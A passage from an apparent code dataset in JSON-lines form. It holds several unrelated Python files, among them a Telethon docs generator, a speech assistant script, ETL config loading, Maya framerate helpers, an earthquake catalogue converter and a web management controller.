    Although this documentation was generated for Telethon, it may\nbe useful for any other Telegram library out there.

    '''\n\n # Methods section\n '''

    Methods

    \n

    Currently there are {methodcount} methods available for the layer\n{layer}. The complete list can be seen here.\n
    \nTo invoke any of these methods (also called requests), you can do\nas shown on the following example:

    '''\n\n # Example usage for the methods\n '''
    #!/usr/bin/python3\nfrom telethon import TelegramClient\nfrom telethon.tl.functions.messages import GetHistoryRequest\nfrom telethon.utils import get_input_peer\n\n# Use your own values here\napi_id = 12345\napi_hash = '0123456789abcdef0123456789abcdef'\nphone_number = '+34600000000'\n\n# Create the client and connect\nclient = TelegramClient('username', api_id, api_hash)\nclient.connect()\n\n# Ensure you're authorized\nif not client.is_user_authorized():\n    client.send_code_request(phone)\n    client.sign_in(phone, input('Enter the code: '))\n\n# Using built-in methods\ndialogs, entities = client.get_dialogs(10)\nentity = entities[0]\n\n# !! Invoking a request manually !!\nresult = client.invoke(\n    GetHistoryRequest(\n        get_input_peer(entity),\n        limit=20,\n        offset_date=None,\n        offset_id=0,\n        max_id=0,\n        min_id=0,\n        add_offset=0))\n\n# Now you have access to the first 20 messages\nmessages = result.messages
    '''\n\n # Example end\n '''

    As you can see, manually invoking requests with client.invoke()\nis way more verbose than using the built-in methods. However, and given\nthat there are so many methods available, it's impossible to provide a nice\ninterface to things that may change over time. To get full access, however,\nyou're still able to invoke these methods manually.

    '''\n\n # Types section\n '''

    Types

    \n

    Currently there are {typecount} types. You can see the full\nlist here.

    \n\n

    The Telegram types are the abstract results that you receive\nafter invoking a request. They are \"abstract\" because they can have\nmultiple constructors. For instance, the abstract type User\ncan be either UserEmpty or User. You should,\nmost of the time, make sure you received the desired type by using\nthe isinstance(result, Constructor) Python function.\n\nWhen a request needs a Telegram type as argument, you should create\nan instance of it by using one of its, possibly multiple, constructors.

    '''\n\n # Constructors section\n '''

    Constructors

    \n

    Currently there are {constructorcount} constructors. You can see\nthe full list here.

    \n\n

    Constructors are the way you can create instances of the abstract types\ndescribed above, and also the instances which are actually returned from\nthe functions although they all share a common abstract type.

    '''\n\n # Core types section\n '''

    Core types

    \n

    Core types are types from which the rest of Telegram types build upon:

    \n
      \n
    • int:\n The value should be an integer type, like 42.\n It should have 32 bits or less. You can check the bit length by\n calling a.bit_length(), where a is an\n integer variable.\n
      • \n
    • long:\n Different name for an integer type. The numbers given should have\n 64 bits or less.\n
      • \n
    • int128:\n Another integer type, should have 128 bits or less.\n
      • \n
    • int256:\n The largest integer type, allowing 256 bits or less.\n
      • \n\n
    • double:\n The value should be a floating point value, such as\n 123.456.\n
      • \n\n
    • Vector<T>:\n If a type T is wrapped around Vector<T>,\n then it means that the argument should be a list of it.\n For instance, a valid value for Vector<int>\n would be [1, 2, 3].\n
      • \n\n
    • string:\n A valid UTF-8 string should be supplied. This is right how\n Python strings work, no further encoding is required.\n
      • \n\n
    • Bool:\n Either True or False.\n
      • \n\n
    • true:\n These arguments aren't actually sent but rather encoded as flags.\n Any truthy value (True, 7) will enable\n this flag, although it's recommended to use True or\n None to symbolize that it's not present.\n
      • \n\n
    • bytes:\n A sequence of bytes, like b'hello', should be supplied.\n
      • \n\n
    • date:\n Although this type is internally used as an int,\n you can pass a datetime object instead to work\n with date parameters.\n
      • \n
    '''.format(\n layer=layer,\n typecount=type_count,\n methodcount=method_count,\n constructorcount=constructor_count\n ))\n docs.end_body()\n","sub_path":"docs/generate_core.py","file_name":"generate_core.py","file_ext":"py","file_size_in_byte":6887,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"408156924","text":"import speech_recognition as sr\nfrom time import ctime\nimport os\nfrom gtts import gTTS\nimport webbrowser\n\ndef speak(audioString):\n tts = gTTS(text=audioString, lang='en')\n tts.save(\"audio.mp3\")\n os.system(\"audio.mp3\")\n\n# Record Audio\ndef recordAudio():\n r = sr.Recognizer()\n with sr.Microphone() as source:\n r.adjust_for_ambient_noise(source)\n audio = r.listen(source)\n data = ''\n try:\n data = r.recognize_google(audio)\n except sr.UnknownValueError:\n return \"Google Speech Recognition could not understand audio\"\n except sr.RequestError as e:\n return \"Could not request results from Google Speech Recognition service; {0}\".format(e)\n return data\n\n\ndef jarvis(data):\n if \"how are you\" in data:\n speak(\"I am fine\")\n\n if \"what time is it\" in data:\n speak(ctime())\n\n if \"where is\" in data:\n data = data.split(\" \")\n # location = data[2]\n location = \"london\"\n speak(\"Hold on , I will show you where \" + location + \" is.\")\n url = \"https://www.google.nl/maps/place/\" + location + \"/&\"\n return webbrowser.open_new_tab(url)\n\nif __name__ == '__main__':\n jarvis(\"where is\")","sub_path":"Speech_Text.py","file_name":"Speech_Text.py","file_ext":"py","file_size_in_byte":1202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"568213594","text":"\"\"\"\nWe use \"config\" files to refer to all files that may reside in the \"config\" directory:\n* \"Settings\" files (ending in '.yaml') which drive the data warehouse settings\n* Environment files (with variables)\n* Other files (like release notes)\n\nThis module provides global access to settings. Always treat them nicely and read-only.\n\"\"\"\n\nimport datetime\nimport logging\nimport logging.config\nimport os\nimport os.path\nimport re\nimport sys\nfrom collections import OrderedDict\nfrom functools import lru_cache\nfrom typing import Any, Dict, Iterable, List, Optional, Sequence, Set\n\nimport jsonschema\nimport pkg_resources\nimport simplejson as json\nimport yaml\n\nimport etl.config.dw\nimport etl.monitor\nfrom etl.config.dw import DataWarehouseConfig\nfrom etl.errors import ETLRuntimeError, InvalidArgumentError, SchemaInvalidError, SchemaValidationError\n\nlogger = logging.getLogger(__name__)\nlogger.addHandler(logging.NullHandler())\n\n\n# Global config objects - always use accessors!\n_dw_config = None # type: Optional[DataWarehouseConfig]\n_mapped_config = None # type: Optional[Dict[str, str]]\n\n# Local temp directory used for bootstrap, temp files, etc.\nETL_TMP_DIR = \"/tmp/redshift_etl\"\n\n\ndef package_version(package_name=\"redshift_etl\"):\n return \"{} v{}\".format(package_name, pkg_resources.get_distribution(package_name).version)\n\n\ndef get_dw_config():\n return _dw_config\n\n\ndef get_config_value(name: str, default: Optional[str] = None) -> Optional[str]:\n \"\"\"\n Lookup configuration value in known and flattened settings -- pass in a fully-qualified name\n\n Note the side effect here: once accessed, the settings remember the default if it wasn't set before.\n \"\"\"\n assert _mapped_config is not None, \"attempted to get config value before reading config map\"\n if default is None:\n return _mapped_config.setdefault(name)\n else:\n return _mapped_config.setdefault(name, default)\n\n\ndef get_config_int(name: str, default: Optional[int] = None) -> int:\n \"\"\"\n Lookup a configuration value that is an integer.\n It is an error if the value (even when using the default) is None.\n \"\"\"\n if default is None:\n value = get_config_value(name)\n else:\n value = get_config_value(name, str(default))\n if value is None:\n raise InvalidArgumentError(\"missing config for {}\".format(name))\n else:\n return int(value)\n\n\ndef set_config_value(name: str, value: str) -> None:\n \"\"\"\n Set configuration value to given string.\n \"\"\"\n assert _mapped_config is not None, \"attempted to set config value before reading config map\"\n _mapped_config[name] = value\n\n\ndef set_safe_config_value(name: str, value: str) -> None:\n \"\"\"\n Replace \"unsafe\" characters with '-' and set configuration value.\n\n >>> etl.config._mapped_config = {}\n >>> set_safe_config_value(\"test_value\", \"something/unsafe\")\n >>> get_config_value(\"test_value\")\n 'something-unsafe'\n \"\"\"\n set_config_value(name, \"-\".join(re.findall(\"[a-zA-Z0-9_.-]+\", value)))\n\n\ndef get_config_map() -> Dict[str, str]:\n if _mapped_config is None:\n return {}\n else:\n # Since the mapped config is flattened, we don't worry about a deep copy here.\n return dict(_mapped_config)\n\n\ndef _flatten_hierarchy(prefix, props):\n assert isinstance(props, dict), \"oops, this should only be called with dicts, got {}\".format(type(props))\n for key in sorted(props):\n full_key = \"{}.{}\".format(prefix, key)\n if isinstance(props[key], dict):\n for sub_key, sub_prop in _flatten_hierarchy(full_key, props[key]):\n yield sub_key, sub_prop\n else:\n yield full_key, props[key]\n\n\ndef _build_config_map(settings):\n mapping = OrderedDict()\n # Load everything that is not explicitly handled by the data warehouse configuration\n for section in frozenset(settings).difference({\"data_warehouse\", \"sources\", \"type_maps\"}):\n for name, value in _flatten_hierarchy(section, settings[section]):\n mapping[name] = value\n return mapping\n\n\ndef etl_tmp_dir(path: str) -> str:\n \"\"\"\n Return the absolute path within the ETL runtime directory for the selected path.\n \"\"\"\n return os.path.join(ETL_TMP_DIR, path)\n\n\ndef configure_logging(full_format: bool = False, log_level: str = None) -> None:\n \"\"\"\n Setup logging to go to console and application log file\n\n If full_format is True, then use the terribly verbose format of\n the application log file also for the console. And log at the DEBUG level.\n Otherwise, you can choose the log level by passing one in.\n \"\"\"\n config = load_json(\"logging.json\")\n if full_format:\n config[\"formatters\"][\"console\"] = dict(config[\"formatters\"][\"file\"])\n config[\"handlers\"][\"console\"][\"level\"] = logging.DEBUG\n elif log_level:\n config[\"handlers\"][\"console\"][\"level\"] = log_level\n logging.config.dictConfig(config)\n # Ignored due to lack of stub in type checking library\n logging.captureWarnings(True) # type: ignore\n logger.info(\"Starting log for %s with ETL ID %s\", package_version(), etl.monitor.Monitor.etl_id)\n logger.info('Command line: \"%s\"', \" \".join(sys.argv))\n logger.debug(\"Current working directory: '%s'\", os.getcwd())\n logger.info(get_release_info())\n\n\ndef load_environ_file(filename: str) -> None:\n \"\"\"\n Load additional environment variables from file.\n\n Only lines that look like 'NAME=VALUE' or 'export NAME=VALUE' are used,\n other lines are silently dropped.\n \"\"\"\n logger.info(\"Loading environment variables from '%s'\", filename)\n with open(filename) as f:\n for line in f:\n tokens = [token.strip() for token in line.split(\"=\", 1)]\n if len(tokens) == 2 and not tokens[0].startswith(\"#\"):\n name = tokens[0].replace(\"export\", \"\").strip()\n value = tokens[1]\n os.environ[name] = value\n\n\ndef load_settings_file(filename: str, settings: dict) -> None:\n \"\"\"\n Load new settings from config file or a directory of config files\n and UPDATE settings (old settings merged with new).\n \"\"\"\n logger.info(\"Loading settings from '%s'\", filename)\n with open(filename) as f:\n new_settings = yaml.safe_load(f)\n for key in new_settings:\n # Try to update only update-able settings\n if key in settings and isinstance(settings[key], dict):\n settings[key].update(new_settings[key])\n else:\n settings[key] = new_settings[key]\n\n\ndef get_release_info() -> str:\n \"\"\"\n Read the release file and return all lines bunched into one comma-separated value.\n Life's exciting. And short. But mostly exciting.\n \"\"\"\n if pkg_resources.resource_exists(__name__, \"release.txt\"):\n content = pkg_resources.resource_string(__name__, \"release.txt\")\n text = content.decode(errors=\"ignore\").strip()\n lines = [line.strip() for line in text.split(\"\\n\")]\n release_info = \", \".join(lines)\n else:\n release_info = \"Not available. Hint: release info will be created by upload_env.sh\"\n return \"Release information: \" + release_info\n\n\ndef yield_config_files(config_files: Sequence[str], default_file: str = None) -> Iterable[str]:\n \"\"\"\n Generate filenames from the list of files or directories in :config_files and :default_file\n\n If the default_file is not None, then it is always prepended to the list of files.\n (It is an error (sadly, at runtime) if the default file is not a file that's part of the package.)\n\n Note that files in directories are always sorted by their name.\n \"\"\"\n if default_file:\n yield pkg_resources.resource_filename(__name__, default_file)\n\n for name in config_files:\n if os.path.isdir(name):\n files = sorted(os.path.join(name, n) for n in os.listdir(name))\n else:\n files = [name]\n for filename in files:\n yield filename\n\n\ndef load_config(config_files: Sequence[str], default_file: str = \"default_settings.yaml\") -> None:\n \"\"\"\n Load settings and environment from config files (starting with the default if provided),\n set our global settings.\n\n The settings are validated against their schema.\n If the config \"file\" is actually a directory, (try to) read all the files in that directory.\n \"\"\"\n settings = dict() # type: Dict[str, Any]\n count_settings = 0\n for filename in yield_config_files(config_files, default_file):\n if filename.endswith(\".sh\"):\n load_environ_file(filename)\n elif filename.endswith((\".yaml\", \".yml\")):\n load_settings_file(filename, settings)\n count_settings += 1\n else:\n logger.info(\"Skipping unknown config file '%s'\", filename)\n\n # Need to load at least the defaults and some installation specific file:\n if count_settings < 2:\n raise ETLRuntimeError(\"Failed to find enough configuration files (need at least default and local config)\")\n\n validate_with_schema(settings, \"settings.schema\")\n\n # If 'today' and 'yesterday' are not set already, pick the actual values of \"today\" and \"yesterday\" (wrt UTC).\n today = datetime.datetime.utcnow().date()\n date_settings = settings.setdefault(\"date\", {})\n date_settings.setdefault(\"today\", today.strftime(\"%Y/%m/%d\")) # Render date to look like part of a path\n date_settings.setdefault(\"yesterday\", (today - datetime.timedelta(days=1)).strftime(\"%Y/%m/%d\"))\n\n global _mapped_config\n _mapped_config = _build_config_map(settings)\n\n global _dw_config\n _dw_config = etl.config.dw.DataWarehouseConfig(settings)\n\n set_config_value(\"version\", package_version())\n\n\ndef validate_with_schema(obj: dict, schema_name: str) -> None:\n \"\"\"\n Validate the given object (presumably from reading a YAML file) against its schema.\n\n This will also validate the schema itself!\n \"\"\"\n validation_internal_errors = (\n jsonschema.exceptions.ValidationError,\n jsonschema.exceptions.SchemaError,\n json.scanner.JSONDecodeError,\n )\n try:\n schema = etl.config.load_json(schema_name)\n jsonschema.Draft4Validator.check_schema(schema)\n except validation_internal_errors as exc:\n raise SchemaInvalidError(\"schema in '%s' is not valid\" % schema_name) from exc\n try:\n jsonschema.validate(obj, schema)\n except validation_internal_errors as exc:\n raise SchemaValidationError(\"failed to validate against '%s'\" % schema_name) from exc\n\n\ndef gather_setting_files(config_files: Sequence[str]) -> List[str]:\n \"\"\"\n Gather all settings files (*.yaml and *.sh files) -- this drops any hierarchy in the config files (!).\n\n It is an error if we detect that there are settings files in separate directories that have the same filename.\n So trying '-c hello/world.yaml -c hola/world.yaml' triggers an exception.\n \"\"\"\n settings_found = set() # type: Set[str]\n settings_with_path = []\n\n for fullname in yield_config_files(config_files):\n filename = os.path.basename(fullname)\n if filename.startswith(\"credentials\") and filename.endswith(\".sh\"):\n continue\n if filename.endswith((\".yaml\", \".yml\", \".sh\")):\n if filename not in settings_found:\n settings_found.add(filename)\n else:\n raise KeyError(\"found configuration file in multiple locations: '%s'\" % filename)\n settings_with_path.append(fullname)\n return sorted(settings_with_path)\n\n\n@lru_cache()\ndef load_json(filename: str):\n return json.loads(pkg_resources.resource_string(__name__, filename)) # type: ignore\n\n\nif __name__ == \"__main__\":\n print(get_release_info())\n","sub_path":"python/etl/config/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":11720,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"47881112","text":"import re\n\nfrom maya import cmds \n\n\n# These are all of the named framerates. The rest of them look\n# like \"100fps\".\nunit_to_fps = {\n 'sec': 1,\n 'game': 15, \n 'film': 24, \n 'pal': 25, \n 'ntsc': 30, \n 'show': 48, \n 'palf': 50, \n 'ntscf': 60,\n 'millisec': 1000,\n # NOTE: We don't support 'min' or 'hour' here because we return integers.\n}\n\nfps_to_unit = {v: k for k, v in unit_to_fps.iteritems()}\n\nvalid_fpses = frozenset((\n\n # The named ones above.\n 15, 24, 25, 30, 48, 50, 60, \n\n # The rest of the known valid FPSes as of Maya 2016.\n 2, 3, 4, 5, 6, 8, 10, 12, 16, 20, 40, 75, 80, 100, 120, 125, 150, 200,\n 240, 250, 300, 375, 400, 500, 600, 750, 1200, 1500, 2000, 3000, 6000,\n\n))\n\n\ndef get_fps():\n '''\n Get current framerate as an integer.\n\n ::\n >>> units.get_fps()\n 24\n\n '''\n\n unit = cmds.currentUnit(q=True, time=True)\n try: \n return unit_to_fps[unit]\n except KeyError:\n pass\n\n m = re.match(r'(\\d+)fps', unit)\n if m:\n return int(m.group(1))\n\n raise ValueError(\"Unknown Maya time unit %r\" % unit)\n\n\ndef set_fps(fps):\n '''\n Set current framerate as an integer.\n\n :param int fps: The framerate to set.\n\n ::\n >>> units.set_fps(12)\n >>> units.get_fps()\n 12\n\n '''\n\n unit = fps_to_unit.get(fps) or ('%dfps' % fps)\n try:\n cmds.currentUnit(time=unit)\n except ValueError:\n raise ValueError(\"Unsupported framerate %s\" % fps)\n","sub_path":"mayatools/units/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":1485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"117672683","text":"import cv2\nimport numpy\n\nname = 'mean'\n\nclass Mean:\n\n def getMean(self, buffer):\n \n stackedFlattened = numpy.vstack((frame.ravel() for frame in buffer)) \n frameShape = buffer[0].shape\n del buffer\n \n meanImageFlattened = numpy.mean(stackedFlattened, axis = 0)\n del stackedFlattened\n \n meanImage = numpy.uint8(meanImageFlattened.reshape(frameShape))\n del meanImageFlattened\n\n return meanImage\n","sub_path":"mean.py","file_name":"mean.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"495007311","text":"def bubble_sort(arr):\n swaps = 0\n for i in range(len(arr)):\n \n for j in range(len(arr)-i-1):\n \n if arr[j] > arr[j+1]:\n arr[j], arr[j+1] = arr[j+1], arr[j]\n swaps += 1\n return swaps\n\nif __name__ == \"__main__\":\n \n arr = [6,3,5,2,8,4,1]\n no_swaps = bubble_sort(arr)\n print(arr, no_swaps)","sub_path":"Sorting/bubbleSort-CountSwaps CTCI.py","file_name":"bubbleSort-CountSwaps CTCI.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"590049889","text":"import os\nimport pickle\nfrom eQ_rw import q_filter, map_area\nfrom bmkg_rw import ReadBMKG\nfrom hypodd_rw import WriteHypoDD\nfrom datetime import datetime as dt\nfrom check_outliers import check_outliers\n\n\"\"\"\n===========================================\nearthquake katalog converter by @eqhalauwet\n==========================================\n\nPython script for convert BMKG arrival data to velest.\n\nWritten By, eQ Halauwet BMKG-PGR IX Ambon.\nyehezkiel.halauwet@bmkg.go.id\n\n\nNotes:\n\n1. It is read bmkg arrival data using \"ReadBMKG\" then convert to velest format.\n2. Data can be filtered of area and quality parameter (gap, rms, min phase, etc).\n3. Output in velest .cnv format (phase P & S), and additional catalog list and arrival.\n\nLogs:\n\n2018-Sep: Added filter option.\n2020-May: Change file input type from obj to list, so that it can import from several files.\n2020-May: Add filter phase routine\n\n\"\"\"\n# fileinput = ['D:/BMKG/Katalog/Arrival PGN/list_detail_2008.txt',\n# 'D:/BMKG/Katalog/Arrival PGN/list_detail_2009.txt',\n# 'D:/BMKG/Katalog/Arrival PGN/list_detail_2010.txt',\n# 'D:/BMKG/Katalog/Arrival PGN/list_detail_2011.txt',\n# 'D:/BMKG/Katalog/Arrival PGN/list_detail_2012.txt',\n# 'D:/BMKG/Katalog/Arrival PGN/list_detail_2013.txt',\n# 'D:/BMKG/Katalog/Arrival PGN/list_detail_2014.txt',\n# 'D:/BMKG/Katalog/Arrival PGN/list_detail_2015.txt',\n# 'D:/BMKG/Katalog/Arrival PGN/list_detail_2016.txt',\n# 'D:/BMKG/Katalog/Arrival PGN/list_detail_2017.txt',\n# 'D:/BMKG/Katalog/Arrival PGN/list_detail_2018.txt',\n# 'D:/BMKG/Katalog/Arrival PGN/list_detail_2019.txt']\n# fileinput = ['list_detail2.txt']\n# bmkgdata, ids = ReadBMKG(fileinput)\n# save_dic = True # Save filtered dictionary or not?\n\nif not os.path.exists('output'):\n os.makedirs('output')\nif not os.path.exists('dict_data'):\n os.makedirs('dict_data')\n\nout_root = 'output'\noutput = os.path.join(out_root, 'phase.dat')\noutput_arr = os.path.join(out_root, 'arrival.dat')\noutput_cat = os.path.join(out_root, 'catalog.dat')\nout_log = os.path.join(out_root, 'log.txt')\nout_geo = os.path.join(out_root, 'sts_geometry.dat')\nout_dic = os.path.join('dict_data', 'Maluku_2008-2019.pkl')\n\npkl_file = open(out_dic, \"rb\")\nbmkgdata = pickle.load(pkl_file)\nids = '__earthquake data converter by eQ Halauwet__\\n\\n'\nsave_dic = False # True/False\n\n# FILTER PARAMETER\n# Filter temporal and spatial\nmin_time = dt(2009, 1, 1) # (year, month, day)\nmax_time = dt(2019, 12, 31) # (year, month, day)\nulat = -2.5\nblat = -4.5\nllon = 127\nrlon = 130.5\nmax_depth = 60\n\n# Filter kualitas data: batasan max azimuth_gap & rms_residual, min phase tiap event dan max jarak_sensor (degree)\nrem_fixd = False\nmax_rms = 2\nmax_gap = 360\nmax_spatial_err = 100\nmode = 'manual'\n\n# Filter phase\nlst_phase = ['AAI', 'AAII', 'KRAI', 'MSAI', 'BNDI', 'BANI', 'NLAI', 'BSMI', 'OBMI']\nmin_P = 6\nmin_S = 0\n\nfilt_dic = {'min_tim': min_time,\n 'max_tim': max_time,\n 'area': {'top': ulat,\n 'bot': blat,\n 'left': llon,\n 'right': rlon\n },\n 'max_dep': max_depth,\n 'rm_fixd': rem_fixd,\n 'max_rms': max_rms,\n 'max_gap': max_gap,\n 'max_err': max_spatial_err,\n 'mode': mode,\n 'phase': {'lst_pha': lst_phase,\n 'min_P': min_P,\n 'min_S': min_S}\n }\n\nfiltered_data = q_filter(bmkgdata, filt_dic, inptype='BMKG', prob_flag=False)\n\nWriteHypoDD(inp=filtered_data, area=filt_dic['area'], out=output, out_arr=output_arr,\n out_cat=output_cat, out_geom=out_geo, out_log=out_log)\n\nmap_area(filt_dic['area'], out_dir=out_root)\n\ncheck_outliers(arrival_file=output_arr, out_dir=out_root, std_error=4, plot_flag=False)\n\nif save_dic:\n nldic = open(out_dic, 'wb')\n pickle.dump(filtered_data, nldic)\n nldic.close()\n","sub_path":"bmkg2hypodd.py","file_name":"bmkg2hypodd.py","file_ext":"py","file_size_in_byte":3992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"11246281","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n__author__ = 'DangGaofeng'\n\nfrom controllers.Base import Base\nfrom config.config import PAGE_LENGTH\nimport json\n\nservice = Base()\nproje = service.getPrjectService()\nmodel = service.getModelService()\napi = service.getApiService()\n#---------------project action----------------#\ndef project():\n\tparams = service.get_params()\n\tpg = int(params.get(\"page\", 1))\n\tpl = PAGE_LENGTH\n\tdata = {}\n\tdata[\"menu\"] = \"manage\"\n\tdata[\"sub_menu\"] = \"manage_project\"\n\tdata[\"pg\"] = pg\n\tdata[\"pl\"] = pl\n\tret = proje.list_all(pg, pl)\n\tdata[\"count\"], data[\"lists\"] = 0, []\n\tif ret != -1:\n\t\tdata[\"count\"], data[\"lists\"] = ret\n\treturn service.render('manage/project.html', data=data)\ndef project_get():\n\tparams = service.get_params()\n\tret = proje.get_byid(int(params[\"id\"]))\n\tret_dict = {}\n\tif len(ret) > 0:\n\t\tret_dict[\"id\"] = ret[0][0]\n\t\tret_dict[\"name\"] = ret[0][1]\n\t\tret_dict[\"desc\"] = ret[0][2]\n\treturn json.dumps(ret_dict)\ndef project_add():\n\tparams = service.get_params()\n\tret = proje.add(params[\"name\"], params[\"desc\"])\n\treturn str(ret)\ndef project_edit():\n\tparams = service.get_params()\n\tret = proje.update_byid(int(params[\"id\"]), params[\"name\"], params[\"desc\"])\n\treturn str(ret)\ndef project_delete():\n\tparams = service.get_params()\n\tret = proje.delete_byid(int(params[\"id\"]))\n\treturn str(ret)\n#-------------------model action-------------------#\ndef models():\n\tparams = service.get_params()\n\tpg = int(params.get(\"page\", 1))\n\tname = params.get(\"name\", \"\")\n\tpl = PAGE_LENGTH\n\tpid = int(params.get(\"pid\", 0))\n\tdata = {}\n\tdata[\"menu\"] = \"manage\"\n\tdata[\"sub_menu\"] = \"manage_models\"\n\tdata[\"pg\"] = pg\n\tdata[\"pl\"] = pl\n\tdata[\"PAGER\"] = \"pid=\"+str(pid)\n\tdata[\"pid\"] = pid\n\tret = model.list_fuzzy(parent_id=pid, mod_name=name, pagenow=pg, pagesize=pl)\n\tdata[\"count\"], data[\"lists\"] = 0, []\n\tif ret != -1:\n\t\tdata[\"count\"], data[\"lists\"] = ret\n\tdata[\"project_list\"] = service.getProjectList()\n\treturn service.render('manage/modules.html', data=data)\ndef model_add():\n\tparams = service.get_params()\n\tproject_id = int(params[\"project_id\"])\n\tname = params['name']\n\tdesc = params['desc']\n\tret = model.add(project_id, name, desc)\n\treturn str(ret)\ndef model_get():\n\tparams = service.get_params()\n\tret = model.get_byid(int(params[\"id\"]))\n\tret_dict = {}\n\tif ret!=-1 and len(ret) > 0:\n\t\tret_dict[\"id\"] = ret[0][0]\n\t\tret_dict[\"pid\"] = ret[0][1]\n\t\tret_dict[\"name\"] = ret[0][2]\n\t\tret_dict[\"desc\"] = ret[0][3]\n\treturn json.dumps(ret_dict)\ndef model_edit():\n\tparams = service.get_params()\n\tret = model.update_byid(int(params[\"id\"]), int(params[\"project_id\"]), params[\"name\"], params[\"desc\"])\n\treturn str(ret)\ndef model_delete():\n\tparams = service.get_params()\n\tret = model.delete_byid(int(params[\"id\"]))\n\treturn str(ret)\n#-------------------api action----------------#\ndef apis():\n\tparams = service.get_params()\n\tpg = int(params.get(\"page\", 1))\n\tpl = PAGE_LENGTH\n\tpid = int(params.get(\"pid\", 0))\n\tmid = int(params.get(\"mid\", 0))\n\tname = params.get(\"name\", \"\")\n\tdata = {}\n\tdata[\"menu\"] = \"manage\"\n\tdata[\"sub_menu\"] = \"manage_api\"\n\tdata[\"pg\"] = pg\n\tdata[\"pl\"] = pl\n\tdata[\"PAGER\"] = \"pid=\"+str(pid)+\"&mid=\"+str(mid)\n\tdata[\"pid\"] = pid\n\tdata[\"mid\"] = mid\n\tdata[\"project_list\"] = service.getProjectList()\n\tdata[\"model_list\"] = service.getModelList(pid)\n\tret = api.list_fuzzy(parent_id=mid, intf_name=name, pagenow=pg, pagesize=pl)\n\tdata[\"count\"], data[\"lists\"] = 0, []\n\tif ret != -1:\n\t\tdata[\"count\"], data[\"lists\"] = ret\n\treturn service.render('manage/api.html', data=data)\ndef api_get():\n\tparams = service.get_params()\n\tret = api.get_byid(int(params[\"id\"]))\n\tret_dict = {}\n\tif len(ret) > 0:\n\t\tret_dict[\"id\"] = ret[0][0]\n\t\tret_dict[\"mid\"] = ret[0][2]\n\t\tret_dict[\"name\"] = ret[0][1]\n\t\tret_dict[\"method\"] = ret[0][3]\n\t\tret_dict[\"url\"] = ret[0][6]\n\t\tret_dict[\"desc\"] = ret[0][4]\n\t\tret_dict[\"wiki\"] = ret[0][5]\n\treturn json.dumps(ret_dict)\ndef api_add():\n\tparams = service.get_params()\n\tmid = int(params.get(\"model_id\", 0))\n\tmethod = params.get(\"method\", \"GET\")\n\tname = params.get(\"name\", \"\")\n\turl = params.get(\"url\", \"\")\n\twiki = params.get(\"wiki\", \"\")\n\tdesc = params.get(\"desc\", \"\")\n\tret = api.add(mid, name, method, url, desc, wiki)\n\treturn str(ret)\ndef api_edit():\n\tparams = service.get_params()\n\tid = int(params.get(\"id\", 0))\n\tmid = int(params.get(\"model_id\", 0))\n\tmethod = params.get(\"method\", \"GET\")\n\tname = params.get(\"name\", \"\")\n\turl = params.get(\"url\", \"\")\n\twiki = params.get(\"wiki\", \"\")\n\tdesc = params.get(\"desc\", \"\")\n\tret = api.update_byid(id, mid, name, method, url, desc, wiki)\n\treturn str(ret)\ndef api_delete():\n\tparams = service.get_params()\n\tret = api.delete_byid(int(params[\"id\"]))\n\treturn str(ret)\n\n#--------------一些方法----------------------#\n\ndef ajaxGetModelList():\n\tparams = service.get_params()\n\tpid = int(params.get(\"pid\", 0))\n\treturn json.dumps(service.getModelList(pid))\n\n#----------------在此以上增加代码------------------\nfunctions = {\n\t\"project\": project,\n\t\"project_get\": project_get,\n\t\"project_add\": project_add,\n\t\"project_edit\": project_edit,\n\t\"project_delete\": project_delete,\n\t\"models\": models,\n\t\"model_get\": model_get,\n\t\"model_add\": model_add,\n\t\"model_edit\": model_edit,\n\t\"model_delete\": model_delete,\n\t\"api\": apis,\n\t\"api_get\": api_get,\n\t\"api_add\": api_add,\n\t\"api_edit\": api_edit,\n\t\"api_delete\": api_delete,\n\t\"getModelByPid\": ajaxGetModelList\n}\ndef page(action=\"\"):\n\tif action not in functions:\n\t\treturn service.render('base_page/404.html', code=404)\n\treturn functions[action]()","sub_path":"controllers/Manage.py","file_name":"Manage.py","file_ext":"py","file_size_in_byte":5417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} diff --git a/2900.jsonl b/2900.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..324beac96fa3c0d294ddab157e08269f5d7cdc51 --- /dev/null +++ b/2900.jsonl @@ -0,0 +1,614 @@ +{"seq_id":"70558639","text":"# Plotting, printing output, calling other function\nimport networkx as nx\nfrom itertools import product\nimport graphic as gr\nimport pm\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport random\nimport time\n\ndebug = False \n\nsize = pm.size\n\nG = nx.grid_graph([size,size])\n\ndef plot(board,turn,pos,player):\n\tstate = np.zeros((size,size))\n\tfor i,j in board[1]:\n\t\tstate[i][j] = 1\n\tfor i,j in board[2]:\n\t\tstate[i][j] = 2\n\n\t# Make this plot True to save image to disk\n\timg = gr.go(state, turn, points, pos, player, plot = True) # or you can pass points if you want to display area too\n\n\t# Make this True to see board state as a popup\n\tif(False):\n\t\t# Display board state\n\t\tplt.close()\n\t\tplt.imshow(img)\n\t\tplt.show(block=False)\n\n# capture pieces that that now covered due to move played at pos\ndef capture(player, boardTemp, pos):\n\tpieces = 0\n\n\t# no need to check\n\t# check if empty spaces nearby have been covered due to this move\n\tchanged = list(G.neighbors(pos))+[pos] # The only positions that can be effected\n\tfor n in changed:\n\t\t# consider the subgraph formed by pieces placed by enemy, what is the connected\n\t\t# component of node n in this subgraph\n\t\tenemy = 1 if player == 2 else 2\n\t\t\n\t\tsub = G.subgraph(boardTemp[enemy])\n\t\tif(n in sub):\n\t\t\tcc = 